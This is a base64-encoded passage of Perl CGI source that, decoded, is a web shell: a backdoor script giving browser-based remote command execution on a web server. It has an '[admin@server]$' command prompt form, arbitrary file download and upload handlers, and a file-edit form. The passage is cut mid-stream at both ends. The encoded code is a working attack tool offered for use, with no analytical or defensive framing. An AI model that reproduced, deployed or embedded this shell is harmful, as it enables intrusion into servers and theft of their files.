CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW